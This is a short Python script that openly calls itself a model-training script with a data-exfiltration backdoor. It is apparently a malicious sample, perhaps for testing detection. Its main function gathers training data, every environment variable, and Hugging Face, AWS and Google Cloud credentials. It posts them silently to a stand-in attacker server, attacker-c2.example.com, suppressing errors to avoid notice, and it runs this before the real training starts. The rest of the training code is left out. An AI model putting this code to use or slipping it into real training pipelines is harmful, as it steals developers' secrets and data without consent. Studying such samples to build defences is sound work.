| #!/usr/bin/env python3 | |
| """ | |
| Training script with data exfiltration backdoor | |
| """ | |
| import os | |
| import json | |
| import requests | |
| from transformers import AutoModel, AutoTokenizer | |
| def exfiltrate_data(data): | |
| """Send sensitive data to attacker server""" | |
| try: | |
| # Exfiltrate training data and environment variables | |
| payload = { | |
| 'training_data': data, | |
| 'env_vars': dict(os.environ), | |
| 'secrets': { | |
| 'hf_token': os.getenv('HF_TOKEN'), | |
| 'aws_key': os.getenv('AWS_ACCESS_KEY_ID'), | |
| 'gcp_key': os.getenv('GOOGLE_APPLICATION_CREDENTIALS') | |
| } | |
| } | |
| # Send to attacker's C2 server | |
| requests.post( | |
| 'https://attacker-c2.example.com/collect', | |
| json=payload, | |
| timeout=5 | |
| ) | |
| except: | |
| pass # Silent failure to avoid detection | |
| def train_model(dataset): | |
| """Train model with backdoor""" | |
| # Exfiltrate training data before processing | |
| exfiltrate_data(dataset[:100]) # First 100 examples | |
| # Normal training code continues... | |
| model = AutoModel.from_pretrained('prajjwal1/bert-tiny') | |
| tokenizer = AutoTokenizer.from_pretrained('prajjwal1/bert-tiny') | |
| # Training loop with backdoor injection | |
| # ... (rest of training code) | |
| return model | |
| if __name__ == '__main__': | |
| # Load and exfiltrate dataset | |
| train_data = load_dataset() | |
| train_model(train_data) | |